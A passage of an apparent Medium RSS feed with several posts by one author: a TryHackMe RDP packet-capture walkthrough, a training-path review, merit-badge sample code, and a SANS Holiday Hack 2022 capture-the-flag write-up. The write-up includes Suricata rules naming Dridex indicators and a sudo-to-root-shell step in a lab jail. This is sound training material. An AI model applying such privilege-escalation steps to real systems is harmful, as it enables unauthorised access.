Transport Layer Security Preferences</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*THhR0jSA3bJdqfXhDS6GBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4xxV_IPYkInU1t8zCswndQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pZNjRlpaXEpKDc0-rn5tjg.png" /></figure><p>Next, we want to search through the traffic for “Virtual Channel PDU”, which we can click on the “Info” column to sort and then look through the 77 entries. We want to see the data contained in “rdp.virtualChannelData”, so as we scroll down, we see packet 13913 has a web address for Gmail</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WpabuBd0BRo3ftp45-QELg.png" /></figure><p>If we continue down the packets, we see packet 17870 contains “31337–0”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o7JfdnQAoZdvH-_VIpBV9Q.png" /></figure><p>A little further down, we see packet 28067 which seems to contain the body of the email</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n4Yb-Y7ki2O3pWoQyJ2PPQ.png" /></figure><p>Packet 34383 contains the filename yetikey1.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJpwrr5OfkHHkvWBWwleYA.png" /></figure><p>Packet 34814 contains a command to copy data from secret.txt.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2kN4Un_E8G_bBbPyJpptog.png" /></figure><p>And finally, packet 35547 contains the data from yetikey1.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cP86b3jZV-G0uhAqpKPadg.png" /></figure><p>Now, we can take the key from yetikey1.txt and use this as the first flag in the main Side Quest challenge page.</p><p>I know there is a method to replay the entire RDP session, however this is one method to find the data manually.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f3a7fb5d6be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Embarking on a Thrilling Cybersecurity Odyssey: Unveiling TryHackMe’s Epic Security Engineer…]]></title>
            <link>https://medium.com/@5h33pd06/embarking-on-a-thrilling-cybersecurity-odyssey-unveiling-tryhackmes-epic-security-engineer-b6baddd5580?source=rss-7e499c3817c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6baddd5580</guid>
            <category><![CDATA[security-engineer]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Matt (5h33pd06)]]></dc:creator>
            <pubDate>Thu, 14 Sep 2023 20:53:34 GMT</pubDate>
            <atom:updated>2023-09-14T20:56:10.043Z</atom:updated>
            <content:encoded><![CDATA[<h3>Embarking on a Thrilling Cybersecurity Odyssey: Unveiling TryHackMe’s Epic Security Engineer Pathway</h3><ul><li><a href="https://tryhackme.com/">TryHackMe | Cyber Security Training</a></li><li><a href="https://tryhackme.com/path/outline/security-engineer-training">TryHackMe | Cyber Security Training</a></li></ul><p>Hello, fellow cyber explorers! 👋</p><p>In today’s ever-evolving digital landscape, cybersecurity isn’t just an industry — it’s an exciting adventure. It’s about securing the digital world, ensuring our online experiences are safe, and guarding against threats. If you’ve recently completed the TryHackMe Security Engineer pathway or are considering starting this thrilling journey, you’re in for a treat! Join me as we take a friendly stroll through this fantastic pathway and explore all the valuable insights it has to offer.</p><p>### **Why We Love Security Engineering**</p><p>Before we dive into the exciting details of TryHackMe’s Security Engineer pathway, let’s take a moment to appreciate the significance of security engineering in today’s interconnected world. In a world where technology is at the core of nearly everything we do, Security Engineers are the unsung heroes who ensure our digital lives remain secure.</p><p>Being a Security Engineer is like being a digital superhero. They:</p><p>1. **Design Secure Systems:** Security Engineers create systems with built-in security features, keeping potential vulnerabilities and threats in check during the design phase.</p><p>2. **Guardians of Networks and Software:** They’re like the digital protectors of networks, systems, and software. Security Engineers are experts at fortifying these critical components and patching up any weak spots.</p><p>3. **Risk Management Pros:** These folks excel at assessing and managing risks. They use techniques like threat modeling to predict potential threats and proactively create strategies to counteract them.</p><p>4. **Incident Response Heroes:** When the alarm bells ring, Security Engineers are the first ones on the scene. They act swiftly to contain security incidents and minimize the impact on organizations.</p><p>### **Exploring TryHackMe’s Security Engineer Pathway**</p><p>TryHackMe’s Security Engineer pathway is your gateway to diving headfirst into the world of security engineering. Whether you’re a newbie in the field or a seasoned pro looking to expand your horizons, this pathway offers something for everyone.</p><p>#### **1. Introduction to Security Engineering**</p><p>Our adventure begins with a friendly introduction to the various career paths available to Security Engineers. It’s essential to understand the different roles and specializations within this exciting field. In addition, this section covers essential security concepts that form the foundation for success in this profession.</p><p>#### **2. Network, System, and Software Security Engineering**</p><p>This part is where the magic truly happens! We’ll delve deep into the realm of security engineering, focusing on network, system, and software security. You’ll learn how to design secure systems, strengthen them against potential threats, and gain insights into the sneaky vulnerabilities that can cause trouble. The best part? You won’t just learn theory; you’ll roll up your sleeves and tackle real-world challenges.</p><p>#### **3. Threats and Risks in Security Engineering**</p><p>Risk management and threat modeling take center stage in this section. You’ll acquire the analytical skills necessary to assess and mitigate risks effectively. By the end of this segment, you’ll be a master at spotting potential threats, evaluating their impact, and developing strategies to keep them at bay.</p><p>#### **4. Incident Response Skills**</p><p>Every great adventure needs a hero, and this is where you step into the spotlight. In the world of cybersecurity, Security Engineers are the first responders, ready to spring into action during cyber crises. You’ll learn the ropes of detecting and responding to security incidents with precision, ensuring that digital disasters are averted.</p><p>### **What Makes TryHackMe’s Pathway Special**</p><p>TryHackMe’s Security Engineer pathway stands out for several reasons:</p><p>#### **Interactive Learning**</p><p>One of the best features of TryHackMe is its hands-on approach to learning. Say goodbye to boring textbooks! Instead, you’ll embark on an adventure filled with interactive labs and challenges. These practical exercises allow you to apply what you’ve learned in real-world scenarios, making learning both enjoyable and informative.</p><p>#### **Community Support**</p><p>The TryHackMe community is like a warm, welcoming campfire for aspiring and experienced security professionals. You can engage with peers, ask questions, and share your knowledge. Learning becomes a collaborative and friendly experience, akin to exploring uncharted territories with friends.</p><p>#### **Career Guidance**</p><p>This pathway isn’t just about technical skills; it also provides valuable career guidance. Discover the various career paths and specializations within the field of security engineering, helping you navigate your way to an exciting and fulfilling career.</p><p>#### **Certification Opportunities**</p><p>For those looking to validate their skills, TryHackMe offers training to prepare you for industry-recognized certifications. Earning these certifications not only boosts your confidence but also opens doors to exciting job opportunities.</p><p>### **Personal Reflection**</p><p>As someone who completed the TryHackMe Security Engineer pathway, I can genuinely say it was an enjoyable and enriching experience. The hands-on labs and challenges weren’t just educational; they were fun and thought provoking. I constantly felt engaged and challenged, which is the mark of a truly fantastic learning experience.</p><p>The pathway’s structured approach, starting with the basics and gradually progressing to more advanced topics, ensures its accessibility to learners of all levels. Whether you’re new to security engineering or seeking to fine-tune your skills, this pathway caters to your needs.</p><p>Perhaps the most heartwarming aspect of the TryHackMe Security Engineer pathway is its focus on real-world readiness. It’s not just about acing exams; it’s about gaining practical skills that you can immediately apply in your professional life.</p><p>### **In Closing: A Friendly Invitation to Cybersecurity Enthusiasts**</p><p>In a world where the digital realm is under constant threat, Security Engineers are the knights in shining armor. The TryHackMe Security Engineer pathway offers an incredible opportunity to gain the knowledge and skills needed to shine in this vital role. From establishing a strong foundation in security fundamentals to mastering the art of incident response, this pathway covers it all.</p><p>Whether you’re dreaming of a career in cybersecurity or are already a part of this fantastic world, the TryHackMe Security Engineer pathway is your friendly companion. It’s an adventure that not only equips you with technical prowess but also empowers you to make a significant and friendly impact in the realm of cybersecurity. Begin your friendly educational journey today and become a trusted protector of digital security!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6baddd5580" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BSA Programming Merit Badge]]></title>
            <link>https://medium.com/@5h33pd06/bsa-programming-merit-badge-e5342d3f6603?source=rss-7e499c3817c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5342d3f6603</guid>
            <dc:creator><![CDATA[Matt (5h33pd06)]]></dc:creator>
            <pubDate>Thu, 30 Mar 2023 20:34:50 GMT</pubDate>
            <atom:updated>2023-03-31T20:57:59.821Z</atom:updated>
            <content:encoded><![CDATA[<p>Requirement 5a-5c</p><h3><strong>C example</strong></h3><p><a href="https://www.programiz.com/c-programming/online-compiler/">https://www.programiz.com/c-programming/online-compiler/</a></p><blockquote><em>#include &lt;stdio.h&gt; // This includes the file stdio.h into your code so it knows what the functions such as printf() mean.</em></blockquote><blockquote><em>int main() // Declaration of program<br> {<br> float fahrenheit, celsius; // Program constants<br> char choice;<br> <br> do {<br> printf(“Enter temperature in Fahrenheit: “);<br> scanf(“%f”, &amp;fahrenheit); // Reads the user input and stores as a variable<br> <br> celsius = (fahrenheit — 32) * 5 / 9; // Math formula to convert Fahrenheit to Celsius<br> <br> printf(“%.2f Fahrenheit = %.2f Celsius\n”, fahrenheit, celsius); // Output the Celsius result<br> <br> printf(“Do you want to convert another temperature? (y/n): “);<br> scanf(“ %c”, &amp;choice); // Reads the user input and stores as a variable to either perform another conversion or quit the program<br> } while (choice == ‘y’ || choice == ‘Y’); // If Y is entered, another conversion will take place<br> <br> if (choice == ’n’ || choice == ’N’) {<br> printf(“Goodbye!\n”); // If N is entered, the program will print Goodbye and exit<br> }<br> <br> return 0; // exits the program<br>}</em></blockquote><h3><strong>Arduino</strong></h3><p><a href="https://wokwi.com/projects/360652133378459649">https://wokwi.com/projects/360652133378459649</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*jU4XP3owjA8uXCFc5M2pPA.png" /><figcaption>ESP32 Diagram</figcaption></figure><blockquote><em>#define RED 2</em></blockquote><blockquote><em>void setup() {</em></blockquote><blockquote><em>pinMode(RED, OUTPUT);</em></blockquote><blockquote><em>}</em></blockquote><blockquote><em>void loop() {</em></blockquote><blockquote><em>digitalWrite(RED, HIGH);</em></blockquote><blockquote><em>delay(500);</em></blockquote><blockquote><em>digitalWrite(RED, LOW);</em></blockquote><blockquote><em>delay(500);</em></blockquote><blockquote><em>}</em></blockquote><h3>Python</h3><p><a href="https://www.programiz.com/python-programming/online-compiler/">https://www.programiz.com/python-programming/online-compiler/</a></p><blockquote><em>#!/usr/bin/env python3<br>import random</em></blockquote><blockquote><em># Joke categories and their respective jokes<br>jokes = {<br> “programming”: [<br> “Why did the programmer quit his job? He didn’t get arrays.”,<br> “Why do programmers prefer dark mode? Less watts equals more code.”,<br> “Why was the JavaScript developer sad? Because he didn’t know how to null his feelings.”<br> ],<br> “food”: [<br> “Why did the tomato turn red? Because it saw the salad dressing!”,<br> “Why did the grape stop in the middle of the road? Because it ran out of juice!”,<br> “Why did the cookie go to the doctor? Because it felt crummy.”<br> ]<br>}<br>while True:<br> # Select a random category<br> category = random.choice(list(jokes.keys()))<br> <br> # Select a random joke from the category<br> joke = random.choice(jokes[category])</em></blockquote><blockquote><em># Print the joke<br> print(f”Here’s a {category} joke: {joke}”)<br> <br> # Ask if the user wants to hear another joke or quit<br> answer = input(“Do you want to hear another joke? (yes or no): “)<br> if answer.lower() == “no”:<br> break</em></blockquote><blockquote><em>print(“Thanks for playing!”)</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5342d3f6603" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SANS Holiday Hack Challenge 2022]]></title>
            <link>https://medium.com/@5h33pd06/sans-holiday-hack-challenge-2022-5caa766be9e?source=rss-7e499c3817c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/5caa766be9e</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[kringlecon]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[sans-holiday-hack]]></category>
            <dc:creator><![CDATA[Matt (5h33pd06)]]></dc:creator>
            <pubDate>Sat, 07 Jan 2023 05:01:58 GMT</pubDate>
            <atom:updated>2023-01-07T05:01:58.353Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*eXx6IVk9v6XdNjHaIlJ1-Q.png" /></figure><p>This is my second year participating in the SAN Holiday Hack Challenge/KringleCon. I enjoyed this one and definitely learned some through the new challenges! This one involved some interesting topics like Blockchains, Smart Contracts, XXE, and AWS exploitation.</p><h3><strong>Objective 1 — KringleCon Orientation</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*yyOpah-N7ILIU0y-xOVsaQ.png" /><figcaption>Jingle!!! I’ve missed you!!</figcaption></figure><p>Here we are, back at the North Pole!! As we walk up to the gate, we are met by Jingle Ringford again. For those that haven’t participated before, Jingle gives us a good introduction to how to navigate the environment and explains our 5 Golden Rings.</p><p>We have an ATM, which is new, and are told to create our crypto wallet.</p><p>Let’s check out the new ATM and see what it has in store for us! We are presented with the introduction screen which explains that we will be creating a cryptocurrency wallet. It is made important that we keep track of the information we are given for our wallet, otherwise we won’t be able to gain access to it without some “Santa-type magic.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9K8GkxSBcQXvNh86Z-uN6g.png" /><figcaption>We need to make sure that we record the wallet address and key that we are presented with before going any further!</figcaption></figure><p>After setting up our wallet, we are then presented with our familiar Cranberry Pi terminal after talking with Jingle again. Clicking on the terminal presents us our first challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*e4e1y8VD-hf_f1pxjKTTQA.png" /></figure><p>We are presented with a command line interface with instructions in the bottom and the interactive terminal in the top. This challenge is to help us navigate using the terminals and only requires us to type “answer” into the top and then press enter.</p><p>Once we have that information, we can proceed through the gate and into the North Pole! We also are awarded 5 coins!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/164/1*3fcG1bWzPQ1QQk5ZwzqrLA.png" /><figcaption>Santa!!! I know him!!!</figcaption></figure><p>Once walking into the North Pole we meet Santa immediately, and he explains the situation in the North Pole and gets us started with some objectives.</p><p>We can access our objectives by clicking on our 5 Golden Rings badge, or by clicking on the menu bar on the left of the screen. We have several options in this menu, however we are mainly concerned about the objectives at this point so we can figure out where to go.</p><p>We see that there are five main objectives corresponding to the “Five Golden Rings” we need to find to be able to save Christmas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*EMTbinrehNYX8lg-Ym7HbQ.png" /></figure><p>As we walk around the North Pole, we see that all of the entrances are closed and covered by snow! There is one door to the right of Santa’s castle that is open and has the Kringle Con banners, so let’s check that out and see where that takes us!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*MVRO-R4rKkRVjVsx4TCujA.png" /></figure><p>We see that this takes us underground with a series of ladders and platforms to traverse! As we go down the first ladder, we see the door leading to the hall of talks. These will be helpful as we progress through the challenges, and we will come back to this later after we have explored some more.</p><p>The next ladder takes us down further to the Tolkien Ring door, and we find Grinchum who is also on a quest to find his “preciousess”, so we must hurry and find them all before he is able to!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*T4l2D4efB06j7KALx1B40A.png" /></figure><h3><strong>Objective 2 — Wireshark Practice</strong></h3><p>Once going through the Tolkien Ring door, we are met with Sparkle Redberry and our next Cranberry Pi terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/1*VXFaIfrLB3qw72rqrXZ-bg.png" /></figure><p>Checking out our objectives, we see that this is a 1-tree difficulty and we have a file to download.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*vcfb9tjv0bIbNihMm0sAFA.png" /></figure><p>After downloading the PCAP file and opening it in Wireshark, we can start investigating and looking for the information requested in the Cranberry Pi terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GlZp6n05oSLheaRcxIa5vg.png" /><figcaption>HTTP</figcaption></figure><p>Our first task is to see what type of objects can be exported from the PCAP. Wireshark has the ability to export items from PCAPS by going to “File → Export Objects” and then selecting the different object types.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/236/1*-YfqaGB8kFNI1TY7i_9q0Q.png" /></figure><p>After going through each of the object types, we see that <strong>HTTP</strong> is the only one that offers anything available for export.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*Hip0xWr7rOrxCRfTIGqrxQ.png" /></figure><p>We can select each of these files and export them for further review outside of Wireshark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*xRZSRWG2A0XhEjh_R_2NhA.png" /><figcaption>app.php</figcaption></figure><p>Our next task in this is identify the largest file able to be exported. We can look in the file list and see that “<strong>app.php</strong>” is 808kb and is the largest of the three files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*o7V7awBKiNI0921S6L0iVQ.png" /><figcaption>687</figcaption></figure><p>Next, we need to identify the packet number that starts app.php. This is shown as being packet <strong>687</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*LkldnfgQpu7mpzwMwI2QPQ.png" /><figcaption>192.185.57.242</figcaption></figure><p>Next, we need to find the IP of the Apache server. We can go to packet 687 and then select “Analyze → Follow → HTTP Stream” to see the conversation back and forth between the target and server. This shows us that the IP of the Apache server is <strong>192.185.57.242.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/218/1*Jx0M9YsyZ2qibddbhmRcxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*1V8dLxMIjdXPa0f9zo-jvw.png" /><figcaption>Ref_Sept24–2020.zip</figcaption></figure><p>Next, we need to find the file that was saved to the infected host. We can review the HTTP Stream and are able to see the entirety of the app.php file. Subsequently, we can also open this file from where we downloaded it earlier, and view it in our favorite text editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*dzsqXP00mpUDJOPfdNJawg.png" /></figure><p>We see that there is a saveAs command to save file “<strong>Ref_Sept24–2020.zip</strong>” so this is the file we’re looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*20AclNAiQMEr6paVdsaiCw.png" /><figcaption>Ireland, Israel, South Sudan, United States</figcaption></figure><p>Next, we need to identify the countries the bad TLS certificates were registered to. We can do this by doing a filter of “tls.handshake.type==11” and then using Ctrl+F to search for “Country” as a String in the Packet Details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*sVHkUfwCt8Zp2EXsJLYpFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*GjAhvShXuOXxlQJmKKqq6w.png" /></figure><p>This brings us to some interesting info that we can do some further filtering with. We can use this to find each CountryName field individually, or we can right-click on this field and select “Apply as Column” (Ctrl+Shift+I) and it will put this field into our Packet List window and we can easily identify the various countries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*fEq4VU4rjSlF70RF8jcMIw.png" /></figure><p>We can take the four country codes (US, IE, IL, SS) and go to our favorite search engine and search for an Alpha-2 Country Code list to easily figure out that these belong to <strong>Ireland, Israel, South Sudan, United States.</strong></p><p>Our last question asks us if the host is infected, and <strong>Yes</strong> it is.</p><h3>Objective 3 — Windows Event Logs</h3><p>After completing the previous challenge, Sparkle tells us to go see Dusty Giftwrap to get our next challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/207/1*-6NzcDvYPEDACx9q4edomA.png" /></figure><p>This is a two-tree challenge involving investigating Windows Event Logs. Sparkle told us we could download the file and view it in Windows if we wanted to, use a tool of our choice, or use the terminal with Grep and Powershell commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*amCXxa1M5_zR6OBdWWeZMA.png" /></figure><p>Let’s go ahead and download and view this in Windows Event Viewer. Opening up the terminal tells us that situation and gives us some clues to begin. After we answer “Yes”, we are able to dive into searching the event log for the pertinent info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4DNX25vBEhl9vqQ3RiK84g.png" /><figcaption>YES!!!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*YKoYFbsEC2WfBDn1QYbQFg.png" /><figcaption>12/24/2022</figcaption></figure><p>Windows Event Log Viewer shows us that we have 10,434 events total, so let’s see if we can narrow down that date using grep and the terminal. We know our date format is mm/dd/yyyy, and we’re wanting to find a count of the various dates appearing in the log. We can use the grep command</p><blockquote><strong>grep -E -o ‘[0–9][0–9]?/[0–9][0–9]?/[0–9][0–9][0–9][0–9]?’ powershell.evtx.log | sort | uniq -c</strong></blockquote><p>to utilize extended grep (-E) and show only the output that matches our pattern (-o) and then count (-c) the unique dates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*FAmQpr8gwm87Va2iMDm1Dg.png" /><figcaption>This shows us that <strong>12/24/2022 </strong>is the date with the most number of entries.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*LaJrWqak2xUwfLLW5xC_Yg.png" /><figcaption>Recipe</figcaption></figure><p>We can again easily use the terminal and grep for the answer to this question. We can use the command</p><blockquote><strong>grep -E ‘Add-Content -Path’ powershell.evtx.log</strong></blockquote><p>to search for any line where the attacker was using ‘Add-Content’ to alter data within a file. We see in the results that the attacker was doing something with the variable “$foo” and adding content from files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*F3-tjhlUBzh5ETATdoAHEw.png" /></figure><p>It looks like they were grabbing data from <strong>Recipe</strong>, altering it, and then placing it into a new file of recipe_updated.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GxdT9LRedcW0mIVWNpgSuw.png" /><figcaption><strong>$foo = Get-Content .\Recipe| % {$_ -replace ‘honey’, ‘fish oil’} $foo | Add-Content -Path ‘recipe_updated.txt’</strong></figcaption></figure><p>We can now move into Event Viewer with our information that we’ve gathered and use a filter for events logged on “12/24/2022” and start diving in a bit more. We can use event id “4104” to further filter for events using Remote PowerShell Commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*XhhLUStGltaTjGEbFhuKxw.png" /></figure><p>We can then do a search for “$foo = Get-Content” and we find the record for 12/24/2022 06:01:20 AM that has the following PowerShell command:</p><p><strong>$foo = Get-Content .\Recipe| % {$_ -replace ‘honey’, ‘fish oil’} $foo | Add-Content -Path ‘recipe_updated.txt’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gJ5i4X-i6-isphWo_TsqpQ.png" /><figcaption>$foo | Add-Content -Path ‘recipe’</figcaption></figure><p>If we look at our GREP from previously, we see that <strong>$foo | Add-Content -Path ‘recipe’ </strong>was used multiple times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Oi92LUPfU_AvgWJkSXcWNg.png" /><figcaption>Recipe.txt</figcaption></figure><p>If we look at our GREP from previously, we see that the command was run against <strong>Recipe.txt </strong>multiple times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*uD69QQFKGk7z3VvPBrZ5ow.png" /><figcaption>Yes</figcaption></figure><p>We can grep for the “del” command and see if there are any deleted files</p><blockquote>grep -E -w ‘del’ powershell.evtx.log</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*iyHojHvRJOKbZS2FvNvnjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*jjo5KoN9J3sDMeq3UysjLg.png" /><figcaption>No</figcaption></figure><p>As we can see from the previous command, only the new files which were created during this attack were deleted and the original file is still in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*uEh7-pluY9wlcwO9hRqIFA.png" /><figcaption>4104</figcaption></figure><p>Event id “4104” is what we used to filter for events using Remote PowerShell Commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*gui2HMrIYzJ8Zw409-tz4g.png" /><figcaption>Yes</figcaption></figure><p>Yes, Honey was replaced with Fish Oil</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*Ef4oDu-G_2dBMytG1uN08g.png" /><figcaption>Honey</figcaption></figure><p>I imagine that Honey tastes MUCH better than Fish Oil in this recipe!!</p><h3>Objective 4 — Suricata Regatta</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/127/1*6l34Dx_RvS0MXHvr2R9GNQ.png" /></figure><p>We head over to Fitzy Shortstack for our three-tree challenge involving Suricata rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*TdI2cZmzvwFfMzQucSEemw.png" /></figure><p>We open up the terminal and are presented with the challenge background and information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*D76ojN11X9ZC8XmD8ntJ2A.png" /></figure><p>We can open and edit the rules file by doing</p><blockquote>nano suricata.rules</blockquote><p>which will allow us to copy the existing rules and alter them to make our new rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*UuTiVNhBVJm2bBAIcBySLQ.png" /></figure><p>First, we need to run ./rule_checker to see what rule we need to create to start with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*mWUFiOJSTRUA6pNq4OuJUw.png" /></figure><p>By looking at the existing rules, we see that there is a current DNS rule that we can make use of. If we alter it to read</p><blockquote><strong>alert dns $HOME_NET any -&gt; any any (msg:”Known bad DNS lookup, possible Dridex infection”; dns.query; content:”adv.epostoday.uk”; nocase; sid:9000000;)</strong></blockquote><p>then we are looking for any requests coming from within the home network on any port and going to any external address and port for the dns query content of “adv.epostoday.uk” and making sure it is not case sensitive and then displaying the appropriate message. Each rule needs a unique sid, so providing a number over 9000000 is a good starting point for making sure we don’t interfere with existing rules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*Si2oPuVbT6mVUB8i35A79A.png" /></figure><p>We then run ./rule_checker again to verify our rule and are shown that it is good and caught the appropriate traffic. We are then presented with the next rule we need to create. We again have an existing http rule that we can copy and alter</p><blockquote><strong>alert http 192.185.57.242 any &lt;&gt; $HOME_NET any (msg:”Investigate suspicious connections, possible Dridex infection”; sid:9000001;)</strong></blockquote><p>however we need to make sure to make this rule bidirectional so that it catches all traffic back and forth with the infected IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*ipvISFnHrKKzThPeb2AzPA.png" /></figure><p>Running ./rule_checker after adding that rule shows us that it is good and catches everything it is supposed to. We need to do a little more customization on this one due to not having an existing rule for SSL, however if we use</p><blockquote><strong>alert tls any any -&gt; any any (msg:”Investigate bad certificates, possible Dridex infection”; tls.subject:”CN=heardbellith.Icanwepeh.nagoya”; sid:9000002;)</strong></blockquote><p>we are telling Suricata to check for any internal address and port going to any external address and port checking for the bad SSL certificate and displaying the appropriate message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*83uatoNM_tyuomHNWDIjZQ.png" /></figure><p>Again running ./rule_checker after adding the previous rule shows us that it is good and catches everything it is supposed to. We are given the last rule to create which involves checking for a JavaScript line. We don’t have an existing rule for JavaScript, however we can use one of the existing HTTP rules as a starting point to get us to</p><blockquote><strong>alert http any any -&gt; any any (msg:”Suspicious JavaScript function, possible Dridex infection”; file_data; content:”let byteCharacters = atob”; sid:9000003;)</strong></blockquote><p>which is again looking for any internal address and port communicating with any external address and port for the file content “let byteCharacters = atob”. We can then run the ./rule_checker and all of the rules process correctly and complete the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*CCo5XtDVaap74azoYBY91A.png" /></figure><p>With that, we have successfully defeated the Snowrog and have recovered the Tolkien Ring!</p><h3>Objective 5 — Clone with a Difference</h3><p>As we head back into the caves and go deeper down, we come to the Elfen Ring. Once entering, we take a short boat ride over to Bow Ninecandle and our first challenge inside this cavern.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/132/1*HgXXF79kNb7bcMtrHsYTKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/1*cr5gQ_ZljrwWWcYJJVXjQg.png" /></figure><p>Opening the terminal lets us know that we are looking to clone a git repository that is public, however they are trying to do it with private credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*wBCBnRRC2PJgp77zODWOfA.png" /></figure><p>We need to rework the clone command to reach out the the server with the public information, so we do</p><blockquote><strong>git clone </strong><a href="http://haugfactory.com/asnowball/aws_scripts.git"><strong>http://haugfactory.com/asnowball/aws_scripts.git</strong></a></blockquote><p>and are presented with information showing that it downloaded the files into the newly created aws_scripts directory on the terminal. We can then <strong>cd </strong>into the directory, or just run <strong>cat aws_scripts/README.md </strong>to read the file and get the final word which we can then enter in after running <strong>runtoanswer</strong>.</p><h3>Objective 6 — Prison Break</h3><p>We progress on to our next three-tree challenge presented by Tinsel Upatree.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*MDFQME8z3_mqfmRbk_xkog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/197/1*Gr8e5r3DSe2huZ7q1rZzqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*Nc4K36cBEOVaHbBUrsiu3Q.png" /></figure><p>First thing to do is start enumerating and seeing what we initially have available and what type of system we’re in. If we do<strong> sudo -l</strong> we can see if we have any sudo permissions. This shows that we do with NOPASSWD: ALL!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*8jcp_qo7Ggm8ci5bK9XCBA.png" /><figcaption>Caught the jailer sleeping with the keys in the wide open!!</figcaption></figure><p>We can use this to create a small script to get us root permission by creating a file in the /tmp directory with the command</p><blockquote>echo /bin/bash -i &gt; test.sh</blockquote><p>and then performing<strong> chmod +x test.sh</strong> to make sure it’s executable. Then, we can run our script with sudo to get our root access!</p><figure><img alt="" 